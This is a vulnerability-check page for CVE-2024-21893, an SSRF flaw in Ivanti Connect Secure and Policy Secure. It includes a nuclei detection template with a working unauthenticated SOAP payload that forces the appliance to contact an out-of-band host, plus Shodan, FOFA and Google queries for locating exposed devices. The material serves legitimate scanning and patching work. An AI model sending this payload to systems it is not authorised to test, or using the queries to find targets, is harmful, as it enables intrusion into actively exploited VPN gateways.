Ivanti SAML - Server Side Request Forgery (SSRF)

Exploited in the wild. Listed by CISA on 2024-01-31; known to be used by ransomware.

highseverity

8.2CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.

Impact

Unauthenticated attackers can perform SSRF attacks to access restricted internal resources and bypass authentication mechanisms.

Fix

Update Ivanti Connect Secure, Policy Secure, and Neurons for ZTA to the latest patched versions.

How to confirm it

Send: POST /dana-ws/saml20.ws
Positive when: contains in interactsh_protocol "dns" AND contains "/dana-na/" and "WriteCSS"

Run it with nuclei: nuclei -id CVE-2024-21893 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-21893

info:
  name: Ivanti SAML - Server Side Request Forgery (SSRF)
  author: DhiyaneshDk
  severity: high
  description: |
    A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.
  impact: |
    Unauthenticated attackers can perform SSRF attacks to access restricted internal resources and bypass authentication mechanisms.
  remediation: |
    Update Ivanti Connect Secure, Policy Secure, and Neurons for ZTA to the latest patched versions.
  reference:
    - https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis
    - https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two
    - https://github.com/advisories/GHSA-5rr9-mqhj-7cr2
    - https://github.com/Chocapikk/CVE-2024-21893-to-CVE-2024-21887
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2024-21893
    cwe-id: CWE-918
    epss-score: 0.99999
    epss-percentile: 0.99999
    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: connect_secure
    shodan-query:
      - "html:\"welcome.cgi?p=logo\""
      - http.title:"ivanti connect secure"
      - http.html:"welcome.cgi?p=logo"
    fofa-query:
      - body="welcome.cgi?p=logo"
      - title="ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
  tags: cve,cve2024,kev,ssrf,ivanti,vkev,vuln

http:
  - raw:
      - |
        POST /dana-ws/saml20.ws HTTP/1.1
        Host: {{Hostname}}

        <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">	<soap:Body>		<ds:Signature		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">			<ds:SignedInfo>				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>			</ds:SignedInfo>			<ds:SignatureValue>qwerty</ds:SignatureValue>			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">				<ds:RetrievalMethod URI="http://{{interactsh-url}}"/>				<ds:X509Data/>			</ds:KeyInfo>			<ds:Object></ds:Object>		</ds:Signature>	</soap:Body></soap:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '/dana-na/'
          - 'WriteCSS'
        condition: and

References

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